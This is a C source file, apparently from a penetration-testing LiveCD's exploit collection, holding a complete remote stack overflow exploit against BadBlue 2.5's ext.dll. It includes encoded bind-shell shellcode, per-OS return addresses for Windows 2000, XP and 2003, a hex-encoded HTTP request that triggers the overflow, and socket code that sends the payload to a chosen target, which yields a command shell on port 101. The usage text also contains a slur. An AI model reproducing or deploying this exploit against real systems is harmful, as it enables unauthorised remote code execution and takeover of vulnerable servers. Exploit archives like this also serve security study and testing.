home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / badblue / badblue25.c < prev    next >
C/C++ Source or Header  |  2005-03-05  |  8KB  |  230 lines

  1. /*
  2. BadBlue, Easy File Sharing Remote BOverflow
  3.  
  4. Homepage:         badblue.com
  5. Affected version: v2.5 (2.60 and below not tested)
  6. Patched  version: v2.61
  7. Link:             badblue.com/bbs98.exe
  8. Date:             27 February 2005
  9.  
  10. Application Risk: Severely High
  11. Internet Risk:    Low
  12.  
  13. Dicovery Credits: Andres Tarasco (atarasco _at_ sia.es)
  14. Exploit Credits : class101 & metasploit.com
  15.  
  16. Notes:
  17.  
  18.   -6 bad chars, 0x00, 0x26, 0x20, 0x0A, 0x8C, 0x3C, badly interpreted by
  19. BadBlue
  20.   -using offsets from ext.dll, universal.
  21.   -use findjmp2 to quick search into ext.dll to see
  22.    if the offsets changes in the others BadBlue's versions below 2.5
  23.   -if you need the v2.5 for exploitation's pratices, get it on class101.org
  24.   -rename to .c for nux, haven't tested this one but it should works fine.
  25.  
  26. Greet:
  27.  
  28.   Nima Majidi
  29.         Behrang Fouladi
  30.   Pejman
  31.   Hat-Squad.com
  32.   metasploit.com
  33.   A^C^E of addict3d.org
  34.   str0ke of milw0rm.com
  35.   and my homy class101.org :>
  36. */
  37.  
  38. #include <stdio.h>
  39. #include <string.h>
  40. #include <time.h>
  41. #ifdef WIN32
  42. #include "winsock2.h"
  43. #pragma comment(lib, "ws2_32")
  44. #else
  45. #include <sys/socket.h>
  46. #include <sys/types.h>
  47. #include <netinet/in.h>
  48. #include <netinet/in_systm.h>
  49. #include <netinet/ip.h>
  50. #include <netdb.h>
  51. #include <arpa/inet.h>
  52. #include <unistd.h>
  53. #include <stdlib.h>
  54. #include <fcntl.h>
  55. #endif
  56.  
  57. char scode[]=
  58. /*XORed, I kiss metasploit.com because they are what means elite!*/
  59. "\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x03"
  60. "\x7b\x5b\x13\x83\xee\xfc\xe2\xf4\xff\x11\xb0\x5c\xeb\x82\xa4\xec"
  61. "\xfc\x1b\xd0\x7f\x27\x5f\xd0\x56\x3f\xf0\x27\x16\x7b\x7a\xb4\x98"
  62. "\x4c\x63\xd0\x4c\x23\x7a\xb0\xf0\x33\x32\xd0\x27\x88\x7a\xb5\x22"
  63. "\xc3\xe2\xf7\x97\xc3\x0f\x5c\xd2\xc9\x76\x5a\xd1\xe8\x8f\x60\x47"
  64. "\x27\x53\x2e\xf0\x88\x24\x7f\x12\xe8\x1d\xd0\x1f\x48\xf0\x04\x0f"
  65. "\x02\x90\x58\x3f\x88\xf2\x37\x37\x1f\x1a\x98\x22\xc3\x1f\xd0\x53"
  66. "\x33\xf0\x1b\x1f\x88\x0b\x47\xbe\x88\x3b\x53\x4d\x6b\xf5\x15\x1d"
  67. "\xef\x2b\xa4\xc5\x32\xa0\x3d\x40\x65\x13\x68\x21\x6b\x0c\x28\x21"
  68. "\x5c\x2f\xa4\xc3\x6b\xb0\xb6\xef\x38\x2b\xa4\xc5\x5c\xf2\xbe\x75"
  69. "\x82\x96\x53\x11\x56\x11\x59\xec\xd3\x13\x82\x1a\xf6\xd6\x0c\xec"
  70. "\xd5\x28\x08\x40\x50\x28\x18\x40\x40\x28\xa4\xc3\x65\x13\x5b\x76"
  71. "\x65\x28\xd2\xf2\x96\x13\xff\x09\x73\xbc\x0c\xec\xd5\x11\x4b\x42"
  72. "\x56\x84\x8b\x7b\xa7\xd6\x75\xfa\x54\x84\x8d\x40\x56\x84\x8b\x7b"
  73. "\xe6\x32\xdd\x5a\x54\x84\x8d\x43\x57\x2f\x0e\xec\xd3\xe8\x33\xf4"
  74. "\x7a\xbd\x22\x44\xfc\xad\x0e\xec\xd3\x1d\x31\x77\x65\x13\x38\x7e"
  75. "\x8a\x9e\x31\x43\x5a\x52\x97\x9a\xe4\x11\x1f\x9a\xe1\x4a\x9b\xe0"
  76. "\xa9\x85\x19\x3e\xfd\x39\x77\x80\x8e\x01\x63\xb8\xa8\xd0\x33\x61"
  77. "\xfd\xc8\x4d\xec\x76\x3f\xa4\xc5\x58\x2c\x09\x42\x52\x2a\x31\x12"
  78. "\x52\x2a\x0e\x42\xfc\xab\x33\xbe\xda\x7e\x95\x40\xfc\xad\x31\xec"
  79. "\xfc\x4c\xa4\xc3\x88\x2c\xa7\x90\xc7\x1f\xa4\xc5\x51\x84\x8b\x7b"
  80. "\xf3\xf1\x5f\x4c\x50\x84\x8d\xec\xd3\x7b\x5b\x13";
  81.  
  82. char payload[1024];
  83.  
  84. char ebx[]="\x05\x53\x02\x10";  /*call.ext.dll*/
  85. char ebx2[]="\xB0\x55\x02\x10"; /*pop.pop.ret.ext.dll thx findjmp2 ;>*/
  86. char pad[]="\xEB\x0C\x90\x90";
  87. char pad2[]="\xE9\x05\xFE\xFF\xFF";
  88. char EOL[]="\x0D\x0A\x0D\x0A";
  89. char talk[]=
  90. "\x47\x45\x54\x20\x2F\x65\x78\x74\x2E\x64\x6C\x6C\x3F\x6D\x66\x63"
  91. "\x69\x73\x61\x70\x69\x63\x6F\x6D\x6D\x61\x6E\x64\x3D";
  92.  
  93. #ifdef WIN32
  94.  WSADATA wsadata;
  95. #endif
  96.  
  97. void ver();
  98. void usage(char* us);
  99.  
  100. int main(int argc,char *argv[])
  101. {
  102.  ver();
  103.  unsigned long gip;
  104.  unsigned short gport;
  105.  char *target, *os;
  106.  if
  107. (argc>6||argc<3||atoi(argv[1])>3||atoi(argv[1])<1){usage(argv[0]);return -1;
  108. }
  109.  if (argc==5){usage(argv[0]);return -1;}
  110.     if (strlen(argv[2])<7){usage(argv[0]);return -1;}
  111.     if (argc==6)
  112.  {
  113.         if (strlen(argv[4])<7){usage(argv[0]);return -1;}
  114.  }
  115. #ifndef WIN32
  116.  if (argc==6)
  117.  {
  118.    gip=inet_addr(argv[4])^(long)0x93939393;
  119.   gport=htons(atoi(argv[5]))^(short)0x9393;
  120.  }
  121. #define Sleep  sleep
  122. #define SOCKET  int
  123. #define closesocket(s) close(s)
  124. #else
  125.  if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup
  126. error\n");return -1;}
  127.  if (argc==6)
  128.  {
  129.   gip=inet_addr(argv[4])^(ULONG)0x93939393;
  130.   gport=htons(atoi(argv[5]))^(USHORT)0x9393;
  131.  }
  132. #endif
  133.  int ip=htonl(inet_addr(argv[2])), port;
  134.  if (argc==4||argc==6){port=atoi(argv[3]);} else port=80;
  135.  SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
  136.  s=socket(AF_INET,SOCK_STREAM,0);
  137.  if (s==-1){printf("[+] socket() error\n");return -1;}
  138.  if (atoi(argv[1]) == 1){target=ebx;os="Win2k SP4 Server English\n[+]Win2k SP4 Pro.   English\n[+]            Win2k SP- -      -";}
  139.  if (atoi(argv[1]) == 2){target=ebx2;os="WinXP SP2  Pro. English\n[+]WinXP SP1a Pro. English\n[+]            WinXP SP-  -    -";}
  140.  if (atoi(argv[1]) == 3){target=ebx2;os="Win2003 SP4 Server English\n[+]Win2003 SP- -      -";}
  141.  printf("[+] target(s): %s\n",os);
  142.  server.sin_family=AF_INET;
  143.  server.sin_addr.s_addr=htonl(ip);
  144.  server.sin_port=htons(port);
  145.  if (argc==6){printf("[+] reverse mode disabled for this exploit\n");
  146.  printf("[+] get the source at class101.org and updateyourself!\n");return -1;}
  147.  connect(s,( struct sockaddr *)&server,sizeof(server));
  148.  timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
  149.  switch(select(s+1,NULL,&mask,NULL,&timeout))
  150.  {
  151.   case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
  152.   case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
  153.   default:
  154.   if(FD_ISSET(s,&mask))
  155.   {
  156.    printf("[+] connected, constructing the payload...\n");
  157. #ifdef WIN32
  158.    Sleep(1000);
  159. #else
  160.    Sleep(1);
  161. #endif
  162.    strcpy(payload,talk);
  163.    memset(payload+29,0x90,520);
  164.    if (atoi(argv[1]) == 1||atoi(argv[1]) == 2)
  165.    {
  166.     memcpy(payload+29+492,&pad,4);
  167.     memcpy(payload+521+4,target,4);
  168.     memcpy(payload+536+1,pad2,5);
  169.    }
  170.    else
  171.    {
  172.     memcpy(payload+29+485,&pad,4);
  173.     memcpy(payload+514+4,target,4);
  174.     memcpy(payload+529+1,pad2,5);
  175.    }
  176.    strcat(payload,EOL);
  177.    memcpy(payload+36+3,scode,strlen(scode));
  178.    if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 1,the server prolly rebooted.\n");return -1;}
  179. #ifdef WIN32
  180.    Sleep(2000);
  181. #else
  182.    Sleep(2);
  183. #endif
  184.  
  185.    printf("[+] size of payload: %d\n",strlen(payload));
  186.    printf("[+] payload sent.\n");
  187.    return 0;
  188.   }
  189.  }
  190.  closesocket(s);
  191. #ifdef WIN32
  192.  WSACleanup();
  193. #endif
  194.  return 0;
  195. }
  196.  
  197.  
  198. void usage(char* us)
  199. {
  200.  printf("USAGE:\n");
  201.  printf("      [+]  . 101_bblu.exe Target VulnIP (bind mode)\n");
  202.  printf("      [+]  . 101_bblu.exe Target VulnIP VulnPORT (bind mode)\n");
  203.  printf("      [+]  . 101_bblu.exe Target VulnIP VulnPORT GayIP GayPORT(reverse mode)\n");
  204.  printf("TARGET:                               \n");
  205.  printf("      [+] 1. Win2k  SP4  Server English (*)\n");
  206.  printf("      [+] 1. Win2k  SP4  Pro    English (*)\n");
  207.  printf("      [+] 1. Win2k  SP-  -      -          \n");
  208.  printf("      [+] 2. WinXP  SP2  Pro.   English    \n");
  209.  printf("      [+] 2. WinXP  SP1a Pro.   English (*)\n");
  210.  printf("      [+] 2. WinXP  SP-  -      -          \n");
  211.  printf("      [+] 3. Win2k3 SP0  Server Italian (*)\n");
  212.  printf("      [+] 3. Win2k3 SP-  -      -          \n");
  213.  printf("NOTE:                                      \n");
  214.  printf("      The exploit bind a cmdshell port 101 or\n");
  215.  printf("      reverse a cmdshell on your listener.\n");
  216.  printf("      A wildcard (*) mean tested working, else, supposedworking.\n");
  217.  printf("      A symbol   (-) mean all.\n");
  218.  printf("      Compilation msvc6, cygwin, Linux.\n");
  219.  return;
  220. }
  221. void ver()
  222. {
  223.  printf("\n");
  224.  printf("===================================================[0.1]=====\n");
  225.  printf("        ================BadBlue, Easy File Sharing2.5===============\n");
  226.  printf("        ================ext.dll, Remote StackOverflow===============\n");
  227.  printf("        ======coded byclass101==================[Hat-Squad.com]=====\n");
  228.  printf("        =====================================[class101.org2005]=====\n");
  229.  printf("\n");
  230. }